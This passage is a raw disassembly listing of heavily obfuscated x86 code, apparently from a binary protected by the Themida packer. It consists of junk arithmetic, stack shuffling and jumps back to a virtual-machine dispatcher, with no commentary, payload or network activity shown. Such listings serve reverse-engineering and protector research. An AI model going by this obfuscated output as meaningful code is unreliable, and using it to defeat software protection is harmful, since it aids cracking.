		sub	ebx, 4
		jmp	loc_554A1F
; ---------------------------------------------------------------------------


loc_556AD7:				; CODE XREF: sub_556A70+61D0j
		dec	edi
		or	edi, 0DB91AC3h
		shr	edi, 1
		xor	edi, 5A156F1Eh
		xor	edi, 1DE9826Bh
		sub	edx, 728E692Fh
		sub	edx, edi
		add	edx, 728E692Fh
		pop	edi
		xchg	edx, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], edx
		push	eax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_556B09:				; CODE XREF: Themida_:0055B1B2j
		push	esp
		push	dword ptr [esp+0]
		jmp	loc_553CA0
; ---------------------------------------------------------------------------


loc_556B12:				; CODE XREF: Themida_:00551ED2j
		mov	[esp+4+var_4], ebx
		jmp	sub_55ABA3
; ---------------------------------------------------------------------------
		push	[esp+4+var_4]
		pop	ecx
		push	edi
		jmp	loc_553938
; ---------------------------------------------------------------------------


loc_556B24:				; CODE XREF: sub_556A70-3F29j
		push	ebx
		push	ebp
		push	ebx
		jmp	loc_55B610
; ---------------------------------------------------------------------------


loc_556B2C:				; CODE XREF: Themida_:00551F90j
		dec	edi
		push	edi
		not	[esp+0Ch+var_C]
		pop	edi
		jmp	loc_55A9BA
; ---------------------------------------------------------------------------
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_55864F
; ---------------------------------------------------------------------------


loc_556B51:				; CODE XREF: sub_556A70-1C13j
		pop	edx
		jmp	loc_554A8E
; ---------------------------------------------------------------------------
		mov	ecx, [esp-1Ah+arg_14+2]
		push	37D0h
		mov	[esp-16h+arg_10+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_557695
; ---------------------------------------------------------------------------


loc_556B75:				; CODE XREF: sub_556A70-1432j
		or	ecx, 3A7A1314h
		jmp	loc_559E95
; ---------------------------------------------------------------------------


loc_556B80:				; CODE XREF: Themida_:00551EA6j
		mov	[esp+14h+var_14], edi
		jmp	loc_551679
; ---------------------------------------------------------------------------


loc_556B88:				; CODE XREF: Themida_:0055AC76j
		add	esi, 2
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 332071D3h
		xor	ebp, 332071D7h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		push	eax
		push	[esp+1Ch+var_18]
		mov	eax, [esp+20h+var_20]
		jmp	loc_553D1D
; ---------------------------------------------------------------------------


loc_556BB2:				; CODE XREF: Themida_:005548D9j
		pop	esp
		mov	[esp+1Ch+var_1C], ebx
		push	ebp
		push	ecx
		jmp	loc_55CD44
; ---------------------------------------------------------------------------


loc_556BBD:				; CODE XREF: sub_556A70-2F8Bj
		push	4255h
		mov	[esp-8+arg_4], ecx
		push	small 5095h
		mov	cx, word ptr [esp-6+arg_0+2]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 2
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		push	edi
		mov	di, 3003h
		shr	di, 5
		sub	di, 0D8AEh
		add	di, 58D0h
		push	bp
		jmp	loc_555C82
; ---------------------------------------------------------------------------


loc_556BFD:				; CODE XREF: sub_556A70+47CCj
		push	7B76h
		mov	[esp+4+var_4], edx
		push	2690h
		mov	[esp+8+var_8], edi
		push	7FD32813h
		pop	edi
		push	ebx
		push	6190172Ch
		pop	ebx
		shl	ebx, 6
		dec	ebx
		shr	ebx, 8
		jmp	loc_550F08
; ---------------------------------------------------------------------------


loc_556C26:				; CODE XREF: Themida_:005526A5j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		jmp	loc_555AD8
; ---------------------------------------------------------------------------


loc_556C38:				; CODE XREF: Themida_:0055CF49j
		add	eax, 0F9D8351Ch
		xor	ebx, eax
		jmp	loc_557C99
; ---------------------------------------------------------------------------


loc_556C44:				; CODE XREF: Themida_:0055CCF0j
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_5571B5
; ---------------------------------------------------------------------------


loc_556C4D:				; CODE XREF: sub_556A70+66Ej
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	edi
		jmp	loc_551711
; ---------------------------------------------------------------------------


loc_556C5C:				; CODE XREF: sub_556A70-4071j
		add	esi, 4
		jmp	loc_55CA35
; ---------------------------------------------------------------------------
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		jmp	loc_55A7F1
; ---------------------------------------------------------------------------


loc_556C72:				; CODE XREF: sub_556A70+EB6j
		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_558556
; ---------------------------------------------------------------------------


loc_556C7D:				; CODE XREF: Themida_:0055381Bj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5557C2
; ---------------------------------------------------------------------------


loc_556C87:				; CODE XREF: sub_556A70-1FE1j
		mov	ecx, 2
		jmp	loc_552B08
; ---------------------------------------------------------------------------


loc_556C91:				; CODE XREF: sub_556A70+2270j
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp-8+arg_4]
		jmp	loc_551647
; ---------------------------------------------------------------------------


loc_556CA2:				; CODE XREF: sub_556A70-5A77j
		xor	edi, 9E54CCEAh
		sub	ebx, edi
		pop	edi
		push	edi
		mov	edi, 11594250h
		xor	edi, 58AE124Ah
		sub	ebx, edi
		pop	edi
		jmp	loc_556832
; ---------------------------------------------------------------------------


loc_556CBF:				; CODE XREF: Themida_:00555469j
		mov	[esp+4+var_4], esi
		jmp	loc_5550CD
; ---------------------------------------------------------------------------


loc_556CC7:				; CODE XREF: sub_556A70-3E1Bj
		pop	esp
		add	eax, 1780CC05h
		xor	edx, eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		not	edx
		push	edi
		mov	edi, 1D090B03h
		xor	edi, 0C9C3AFEh
		add	edx, edi
		pop	edi
		and	[edi+1Ch], edx
		jmp	loc_556538
; ---------------------------------------------------------------------------


loc_556CF1:				; CODE XREF: sub_556A70+615Ej
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		push	8C6h
		jmp	loc_558BF3
; ---------------------------------------------------------------------------


loc_556D03:				; CODE XREF: Themida_:00556651j
		pop	esp
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_55A048
; ---------------------------------------------------------------------------


loc_556D11:				; CODE XREF: sub_5567EA+6075j
		pop	esp
		jmp	loc_55BF58
; ---------------------------------------------------------------------------


loc_556D17:				; CODE XREF: sub_556A70-2D7j
		sub	edi, eax
		push	ecx
		jmp	loc_55CBBB
; ---------------------------------------------------------------------------


loc_556D1F:				; CODE XREF: Themida_:00559233j
		pop	edx
		jmp	loc_555E34
; ---------------------------------------------------------------------------


loc_556D25:				; CODE XREF: Themida_:005530DEj
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		imul	ecx
		push	5B88h
		mov	[esp+8+var_8], edx
		push	eax
		pushf
		jmp	loc_55B103
; ---------------------------------------------------------------------------


loc_556D40:				; CODE XREF: Themida_:00553C9Bj
		add	edx, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		and	word ptr [esp+8+var_8],	ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_556D5C:				; CODE XREF: sub_55AE68-4FD5j
		xor	[esp+0Ch+var_8], ebp
		pop	ebp
		pop	ebp
		xor	ebp, 62BF348Eh
		jmp	loc_555CBD
; ---------------------------------------------------------------------------


loc_556D6D:				; CODE XREF: sub_556A70-265Ej
		mov	[esp+0Ah+var_C+2], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_558F58
; ---------------------------------------------------------------------------


loc_556D7E:				; CODE XREF: sub_556A70-193Ej
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		jmp	loc_559165
; ---------------------------------------------------------------------------


loc_556D88:				; CODE XREF: Themida_:0055C31Cj
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_55956E
; ---------------------------------------------------------------------------


loc_556D9A:				; CODE XREF: sub_556A70-259Cj
		sub	bl, 12h
		pop	eax
		sub	bl, 0BFh
		jmp	loc_558A87
; ---------------------------------------------------------------------------


loc_556DA6:				; CODE XREF: sub_556A70+34EAj
		pop	edx
		or	eax, ecx
		mov	ecx, [esp-1Eh+arg_18+2]
		add	esp, 4
		shr	eax, 5
		push	edx
		mov	edx, 1CFD16D4h
		or	edx, 5B094E0Fh
		sub	edx, 0F405F6FEh
		add	eax, edx
		pop	edx
		and	eax, 73E44EB0h
		jmp	loc_554A94
; ---------------------------------------------------------------------------


loc_556DD1:				; CODE XREF: sub_558D0E+2930j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55BCA2
; ---------------------------------------------------------------------------


loc_556DDF:				; CODE XREF: sub_55A9A4-A95j
		push	edx
		mov	edx, 35185BFFh
		sub	esp, 4
		mov	[esp-16h+arg_10+2], edx
		not	[esp-16h+arg_10+2]
		pop	edx
		sub	edx, 0CAE7A3FCh
		sub	ecx, 6F6B1CE6h
		add	ecx, edx
		jmp	loc_55AE11
; ---------------------------------------------------------------------------


loc_556E05:				; CODE XREF: sub_556A70-441Aj
		add	esp, 4
		jmp	loc_55A4E0
; ---------------------------------------------------------------------------


loc_556E10:				; CODE XREF: Themida_:005538EAj
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		push	eax
		jmp	loc_55AC11
; ---------------------------------------------------------------------------


loc_556E22:				; CODE XREF: Themida_:00558441j
		add	esp, 4
		push	ecx
		jmp	loc_556065
; ---------------------------------------------------------------------------


loc_556E2E:				; CODE XREF: Themida_:005527B9j
		add	eax, ebp
		pop	ebp
		push	ebp
		push	edx
		mov	edx, 53176330h
		mov	ebp, 60ACB836h
		sub	ebp, edx
		pop	edx
		shl	ebp, 4
		dec	ebp
		not	ebp
		push	edx
		mov	edx, 108D011Ch
		add	ebp, edx
		jmp	loc_55CDE2
; ---------------------------------------------------------------------------


loc_556E53:				; CODE XREF: sub_556A70+11A9j
		mov	edx, eax
		pop	eax
		add	edx, 1
		xor	edx, 58752911h
		push	edi
		mov	edi, 28454E61h
		shr	edi, 5
		dec	edi
		xor	edi, 3F7D0E12h
		jmp	loc_555198
; ---------------------------------------------------------------------------


loc_556E77:				; CODE XREF: Themida_:0055B9E5j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------


loc_556E85:				; CODE XREF: Themida_:0055C152j
		sub	si, 3BF8h
		sub	si, 0EBB0h
		jmp	loc_55B03B
; ---------------------------------------------------------------------------


loc_556E94:				; CODE XREF: Themida_:0055A7ABj
		push	ecx
		mov	cl, 68h
		push	edx
		jmp	loc_55BE7B
; ---------------------------------------------------------------------------


loc_556E9D:				; CODE XREF: sub_556A70+937j
		push	3705h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 0
		jmp	loc_557CCA
; ---------------------------------------------------------------------------


loc_556EAF:				; CODE XREF: sub_55A748-8FC0j
		add	esp, 4
		add	al, 0BFh
		add	al, dl
		sub	al, 0BFh
		pop	edx
		jmp	loc_553A57
; ---------------------------------------------------------------------------


loc_556EBE:				; CODE XREF: sub_55BDF1+920j
		mov	[esp+4+var_4], eax
		jmp	loc_55B831
; ---------------------------------------------------------------------------


loc_556EC6:				; CODE XREF: sub_556A70+64AAj
		add	di, 0D827h
		add	si, di
		pop	edi
		xor	si, 0FDBAh
		or	cx, si
		pop	esi
		or	cx, 5311h
		jmp	loc_5568BE
; ---------------------------------------------------------------------------


loc_556EE2:				; CODE XREF: sub_55C259-430j
		push	edi
		push	esi
		mov	esi, ebp
		mov	edi, esi
		pop	esi
		mov	esi, edi
		pop	edi
		pop	ebp
		push	2045h
		mov	[esp-4+arg_0], ecx
		push	esp
		mov	ecx, [esp+0]
		jmp	loc_559051
; ---------------------------------------------------------------------------


loc_556EFE:				; CODE XREF: Themida_:0055BB59j
		sub	ebx, 7C1C2B0Ch
		add	ebx, 66070D40h
		add	ebx, esi
		sub	ebx, 66070D40h
		add	ebx, 7C1C2B0Ch
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		jmp	loc_5555DA
; ---------------------------------------------------------------------------


loc_556F22:				; CODE XREF: Themida_:0055C51Cj
		add	edx, 8245C527h
		add	ebx, 61004Ah
		add	ebx, edx
		jmp	loc_558A73
; ---------------------------------------------------------------------------


loc_556F35:				; CODE XREF: Themida_:00559967j
		pop	ebx
		jmp	loc_55467E
; ---------------------------------------------------------------------------


loc_556F3B:				; CODE XREF: Themida_:0055B20Cj
		pop	esi
		mov	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp-10h+arg_C], eax
		pop	ecx
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		add	ecx, 0F9CD283Dh
		xor	eax, ecx
		mov	ecx, [esp-18h+arg_14]
		push	ebx
		jmp	loc_55B997
; ---------------------------------------------------------------------------


loc_556F60:				; CODE XREF: sub_556A70-5693j
		xchg	eax, [esp-14h+arg_10]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_5549A6
; ---------------------------------------------------------------------------


loc_556F6D:				; CODE XREF: sub_5547A1-16EFj
		xor	esi, [esp-10h+arg_C]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5588F3
; ---------------------------------------------------------------------------


loc_556F7F:				; CODE XREF: sub_55A704+985j
		push	ebx
		mov	ebx, 4
		sub	esi, 239665E1h
		add	esi, ebx
		add	esi, 239665E1h
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		xchg	esi, [esp-10h+arg_C]
		pop	esp
		push	54A2h
		mov	[esp-10h+arg_C], edi
		jmp	loc_55A106
; ---------------------------------------------------------------------------


loc_556FAA:				; CODE XREF: sub_556A70+AA7j
		pop	ebp
		push	edx
		mov	edx, 346F2A2Ah
		jmp	loc_55C3A1
; ---------------------------------------------------------------------------


loc_556FB6:				; CODE XREF: Themida_:0055AB28j
		inc	edx
		push	ecx
		mov	ecx, 3BD97D9Dh
		dec	ecx
		dec	ecx
		xor	ecx, 1A334B9Fh
		and	edx, ecx
		pop	ecx
		not	edx
		or	edx, 3F907AC6h
		jmp	loc_559F52
; ---------------------------------------------------------------------------


loc_556FD5:				; CODE XREF: sub_556A70+5F27j
		shr	eax, 5
		sub	eax, 608112BAh
		not	eax
		sub	eax, 290A4F9h
		xor	ebp, eax
		pop	eax
		and	ebx, ebp
		pop	ebp
		neg	ebx
		add	ebx, 1
		shl	ebx, 3
		sub	ebx, 10538DDFh
		push	ecx
		jmp	loc_55B2FB
; ---------------------------------------------------------------------------


loc_557001:				; CODE XREF: sub_559D5E-63AFj
		pop	edx
		shr	edx, 1
		or	edx, 76BA0103h
		add	edx, 326B0C7Fh
		add	edx, 4E9AB39Fh
		mov	edi, edx
		pop	edx
		jmp	loc_555809
; ---------------------------------------------------------------------------


loc_55701E:				; CODE XREF: sub_556A70+AF2j
		mov	edx, [esp-1Ch+arg_18]
		add	esp, 4
		push	esi
		mov	esi, 6D434B90h
		jmp	loc_554E0E
; ---------------------------------------------------------------------------


loc_55702F:				; CODE XREF: sub_556A70+EA9j
		push	ebp
		push	esp
		jmp	loc_551A8D
; ---------------------------------------------------------------------------


loc_557036:				; CODE XREF: Themida_:005512BFj
		sub	edi, 771FFFEh
		add	ebp, edi
		pop	edi
		jmp	loc_552312
; ---------------------------------------------------------------------------


loc_557044:				; CODE XREF: sub_556A70-5148j
		sub	al, bh
		push	edx
		push	ecx
		mov	ch, 3Fh
		neg	ch
		shl	ch, 7
		add	ch, 17h
		jmp	loc_557933
; ---------------------------------------------------------------------------


loc_557057:				; CODE XREF: Themida_:0055123Fj
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55705C:				; CODE XREF: sub_556A70+4C2Aj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_555DBA
; ---------------------------------------------------------------------------


loc_557069:				; CODE XREF: sub_556A70+3097j
		sub	esi, 692C796Ch
		add	esi, eax
		add	esi, 692C796Ch
		pop	eax
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		push	ebx
		jmp	loc_555FFD
; ---------------------------------------------------------------------------


loc_557088:				; CODE XREF: sub_556A70+EBEj
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5513B8
; ---------------------------------------------------------------------------


loc_557094:				; CODE XREF: sub_552FCD+3j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5570AE
; ---------------------------------------------------------------------------


loc_5570A2:				; CODE XREF: Themida_:00559ADAj
		and	dl, 96h
		not	dl
		inc	dl
		jmp	loc_559617
; ---------------------------------------------------------------------------


loc_5570AE:				; CODE XREF: sub_556A70+62Dj
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		jmp	loc_55C9C1
; ---------------------------------------------------------------------------


loc_5570BA:				; CODE XREF: Themida_:0055ADE6j
		pop	esi
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	cx, word ptr [esp-4+arg_0]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	6F0Eh
		mov	[esp+4+var_4], edi
		jmp	sub_557FA0
; ---------------------------------------------------------------------------


loc_5570DA:				; CODE XREF: Themida_:0055A4F7j
		pop	edx
		push	dword ptr [esp+0]
		jmp	loc_556C4D
; ---------------------------------------------------------------------------


loc_5570E3:				; CODE XREF: sub_554BBA-2390j
		or	eax, eax
		jz	loc_5547BE
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	ecx
		push	esi
		push	esp
		jmp	loc_55593B
; ---------------------------------------------------------------------------


loc_5570F9:				; CODE XREF: sub_556A70+147Ej
		mov	[esp+14h+var_14], ecx
		push	ebx
		push	edi
		mov	edi, 166170A1h
		and	edi, 67A95C0Eh
		dec	edi
		sub	edi, 6214FBFh
		mov	ebx, edi
		pop	edi
		jmp	loc_55BA0B
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edx
		jmp	loc_55AA3A
; ---------------------------------------------------------------------------


loc_557121:				; CODE XREF: sub_556A70-2699j
		xor	[eax], ecx
		pop	eax
		mov	edx, [esp+0Ah+var_C+2]
		jmp	loc_55C8BC
; ---------------------------------------------------------------------------


loc_55712C:				; CODE XREF: Themida_:00559B7Fj
		add	edi, 1
		add	edi, 2C5A00F3h
		xor	edi, 694313FFh
		add	edx, edi
		jmp	loc_551282
; ---------------------------------------------------------------------------


loc_557145:				; CODE XREF: sub_556A70-1252j
		shl	ebp, 2
		push	edi
		jmp	loc_55676F
; ---------------------------------------------------------------------------


loc_55714E:				; CODE XREF: sub_5566B9-34B3j
		add	esp, 4
		jmp	sub_557D5C
; ---------------------------------------------------------------------------


loc_557159:				; CODE XREF: sub_556A70-4D1Ej
		push	24757219h
		pop	eax
		add	eax, 79C5331Dh
		shl	eax, 4
		add	eax, 9B4B06D5h
		mov	esi, eax
		pop	eax
		jmp	loc_55C647
; ---------------------------------------------------------------------------


loc_557174:				; CODE XREF: Themida_:0055B0BCj
		add	ecx, 3F7B0893h
		pop	ebx
		jmp	sub_55B88F
; ---------------------------------------------------------------------------


loc_557180:				; CODE XREF: sub_556A70+45BBj
		sub	edi, ebp
		pop	ebp
		mov	eax, edi
		pop	edi
		jmp	loc_5555E9
; ---------------------------------------------------------------------------


loc_55718B:				; CODE XREF: sub_556A70+329Bj
		push	[esp-8+arg_4]
		jmp	loc_5584DC
; ---------------------------------------------------------------------------


loc_557193:				; CODE XREF: Themida_:0055A83Aj
		inc	edx
		jmp	sub_550E2C
; ---------------------------------------------------------------------------


loc_557199:				; CODE XREF: sub_556A70-1D3j
		and	ebp, 2D105D7Ah
		inc	ebp
		push	esi
		jmp	loc_55AE3A
; ---------------------------------------------------------------------------


loc_5571A6:				; CODE XREF: sub_556A70+CACj
		shr	eax, 0Ch
		xor	eax, ecx
		push	109Bh
		jmp	loc_552C81
; ---------------------------------------------------------------------------


loc_5571B5:				; CODE XREF: sub_556A70+1D8j
		push	edx
		jmp	loc_5543F3
; ---------------------------------------------------------------------------


loc_5571BB:				; CODE XREF: sub_556A70+D49j
		add	eax, 2
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		shr	byte ptr [esp+0Ch+var_C], cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5571CD:				; CODE XREF: sub_556A70+3858j
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		jmp	loc_5568E0
; ---------------------------------------------------------------------------


loc_5571DB:				; CODE XREF: sub_5530EF+3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		pop	dword ptr [edi+24h]


loc_5571F0:				; CODE XREF: sub_556A70+4A20j
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, ebx
		mov	eax, ecx
		jmp	loc_551D09
; ---------------------------------------------------------------------------


loc_5571FF:				; CODE XREF: sub_556A70+3CB9j
		mov	[esp+14h+var_14], ecx
		jmp	loc_5546A8
; ---------------------------------------------------------------------------


loc_557207:				; CODE XREF: sub_556A70-5F86j
		push	ebp
		push	esi
		mov	esi, 6B53470Eh
		shr	esi, 6
		not	esi
		xor	esi, 0BBA2F02Eh
		mov	ebp, esi
		pop	esi
		add	eax, 4A8E563Ah
		jmp	loc_55B13D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_557FB4
; ---------------------------------------------------------------------------


loc_557236:				; CODE XREF: Themida_:00555D5Dj
		pop	ebx
		mov	ebx, esi
		push	[esp-4+arg_0]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_557252:				; CODE XREF: Themida_:005531C8j
		add	esp, 4
		jmp	loc_55A3EF
; ---------------------------------------------------------------------------


loc_55725A:				; CODE XREF: sub_556A70-28EBj
		mov	[esp-0Ch+arg_8], ebx
		push	ecx
		mov	ecx, 472852CCh
		mov	ebx, 36E23B31h
		add	ebx, ecx
		pop	ecx
		sub	eax, 220B02AAh
		jmp	loc_550D33
; ---------------------------------------------------------------------------


loc_557275:				; CODE XREF: sub_55AA5F-8500j
		push	[esp-0Ch+arg_C]
		pop	edx
		pop	[esp-0Ch+arg_8]
		pop	esp
		mov	[esp-14h+arg_10], ecx
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_557286:				; CODE XREF: Themida_:00554896j
		sub	eax, 7D50223Eh
		push	3A5Eh
		jmp	loc_556937
; ---------------------------------------------------------------------------


loc_557295:				; CODE XREF: sub_556A70+13F9j
		mov	edi, ebx
		pop	ebx
		sub	edi, 3F6667E1h
		xor	edi, 19F95045h
		push	ecx
		mov	ecx, 49BD1634h
		and	ecx, 0E592106h
		dec	ecx
		not	ecx
		or	ecx, 6707264Bh
		and	ecx, 0DDF4D19h
		xor	ecx, 5FB237EFh
		and	edi, ecx
		pop	ecx
		dec	edi
		jmp	loc_553C4C
; ---------------------------------------------------------------------------


loc_5572CE:				; CODE XREF: sub_556A70-485Cj
		add	esp, 4
		jmp	loc_552066
; ---------------------------------------------------------------------------


loc_5572D9:				; CODE XREF: sub_556A70+1098j
		xor	bl, al
		jmp	loc_5520BA
; ---------------------------------------------------------------------------


loc_5572E0:				; CODE XREF: sub_553E6A-17F6j
		add	esi, 45CA46ABh
		shr	esi, 2
		jmp	loc_5515A1
; ---------------------------------------------------------------------------


loc_5572EE:				; CODE XREF: Themida_:0055A16Bj
		mov	ecx, 783653AEh
		or	ecx, 6F61070Fh
		and	ecx, 71B903D4h
		and	ecx, 18132D40h
		or	ecx, 6A0D207Fh
		push	ebp
		mov	ebp, 7A1D217Bh
		sub	ecx, ebp
		pop	ebp
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		sub	ecx, 64E77962h
		pop	edx
		push	4CFh
		mov	[esp+8+var_8], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 48273339h
		jmp	loc_55B554
; ---------------------------------------------------------------------------


loc_55733F:				; CODE XREF: sub_556A70+16C9j
		mov	ebx, esi
		pop	esi
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_5596BB
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		push	edi
		jmp	loc_5568A2
; ---------------------------------------------------------------------------


loc_55735D:				; CODE XREF: Themida_:0055A551j
		push	ecx
		mov	ecx, 4577749Fh
		jmp	loc_552D69
; ---------------------------------------------------------------------------


loc_557368:				; CODE XREF: Themida_:005569F9j
		xor	cl, 32h
		mov	al, cl
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	al, 77h
		and	dh, al
		pop	eax
		shr	dh, 1
		add	dh, 0AFh
		add	al, 23h
		sub	al, dh
		jmp	loc_559310
; ---------------------------------------------------------------------------


loc_557389:				; CODE XREF: Themida_:0055423Aj
		mov	ecx, [esp+0]
		add	esp, 4
		push	eax
		push	3477h
		mov	[esp+4+var_4], ebx
		jmp	loc_559491
; ---------------------------------------------------------------------------


loc_55739D:				; CODE XREF: sub_556A70-5387j
		sub	eax, 53F233DFh
		add	eax, 585E7215h
		jmp	loc_556E9D
; ---------------------------------------------------------------------------


loc_5573AC:				; CODE XREF: sub_556A70-4CFEj
		mov	ch, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		mov	bl, ch
		pop	ecx
		push	edx
		jmp	loc_551A42
; ---------------------------------------------------------------------------


loc_5573BD:				; CODE XREF: sub_556A70+10ACj
		add	cl, 36h
		mov	dh, cl
		mov	ecx, [esp+0]
		add	esp, 4
		add	al, 6Eh
		add	al, 18h
		add	al, dh
		push	ecx
		mov	ch, 8
		shr	ch, 3
		dec	ch
		sub	ch, 0E8h
		jmp	loc_555EDD
; ---------------------------------------------------------------------------


loc_5573DE:				; CODE XREF: sub_556A70-CC9j
		add	edx, edi
		add	edx, 29EF3030h
		add	dword ptr [edx], 1
		pop	edx
		jmp	sub_553651
; ---------------------------------------------------------------------------


loc_5573F2:				; CODE XREF: Themida_:00559F28j
		mov	ch, 3Ah
		jmp	loc_55483D
; ---------------------------------------------------------------------------


loc_5573F9:				; CODE XREF: Themida_:0055CEDBj
		sub	esp, 4
		jmp	loc_5559FA
; ---------------------------------------------------------------------------


loc_557401:				; CODE XREF: Themida_:0055241Cj
		mov	edi, 7CFE6A15h
		neg	edi
		jmp	loc_5564E3
; ---------------------------------------------------------------------------


loc_55740D:				; CODE XREF: sub_556A70-F49j
		add	edi, 4
		xchg	edi, [esp-26h+arg_20+2]
		mov	esp, [esp-26h+arg_20+2]
		push	dword ptr [eax]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55741D:				; CODE XREF: sub_5539DB+552Bj
		mov	[esp-22h+arg_1C+2], edx
		not	[esp-22h+arg_1C+2]
		pop	edx
		xchg	ebx, edx
		push	ebx
		not	[esp-22h+arg_1C+2]
		jmp	loc_554D43
; ---------------------------------------------------------------------------


loc_55742F:				; CODE XREF: Themida_:0055CF12j
		mov	ecx, 561344B1h
		xor	ecx, 561344B3h
		add	ebp, 3FD66A72h
		add	ebp, ecx
		sub	ebp, 3FD66A72h
		mov	ecx, [esp-22h+arg_1C+2]
		add	esp, 4
		xor	ebp, [esp-26h+arg_20+2]
		jmp	loc_55ACE7
; ---------------------------------------------------------------------------


loc_557456:				; CODE XREF: Themida_:00553D84j
		mov	[esp-26h+arg_20+2], edx
		jmp	loc_5556A0
; ---------------------------------------------------------------------------


loc_55745E:				; CODE XREF: sub_5599E2-3B66j
		mov	esi, 5D067624h
		sub	esi, 5D067620h
		add	ebx, esi
		pop	esi
		jmp	loc_559F5F
; ---------------------------------------------------------------------------


loc_557471:				; CODE XREF: sub_55C607+10j
		pop	edi
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp-2Eh+arg_28+2]
		add	esp, 4
		push	484Dh
		mov	[esp-2Eh+arg_28+2], edi
		push	esi
		push	70B6245Ch
		pop	esi
		jmp	loc_550BDE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		xor	[esp-26h+arg_20+2], 47F80717h
		push	[esp-26h+arg_20+2]
		pop	eax
		add	esp, 4
		jmp	loc_5593E9
; ---------------------------------------------------------------------------


loc_5574AE:				; CODE XREF: Themida_:0055CC64j
		mov	esp, [esp-2Ah+arg_24+2]
		and	[esp-2Ah+arg_24+2], eax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5574BA:				; CODE XREF: sub_556A70+5F6Fj
		pop	esp
		or	edi, 49565302h
		jmp	loc_559BF8
; ---------------------------------------------------------------------------


loc_5574C6:				; CODE XREF: sub_556A70-43Cj
		and	edx, 1EC05150h
		add	edx, 4C8E2ED3h
		sub	ebx, edx
		jmp	loc_5518D6
; ---------------------------------------------------------------------------


loc_5574D9:				; CODE XREF: sub_556A70+102Ej
		push	ebp
		mov	ebp, 73650A14h
		jmp	loc_55C0F4
; ---------------------------------------------------------------------------


loc_5574E4:				; CODE XREF: Themida_:0055C413j
		xor	word ptr [esp+14h+var_14], bp
		jmp	loc_550A46
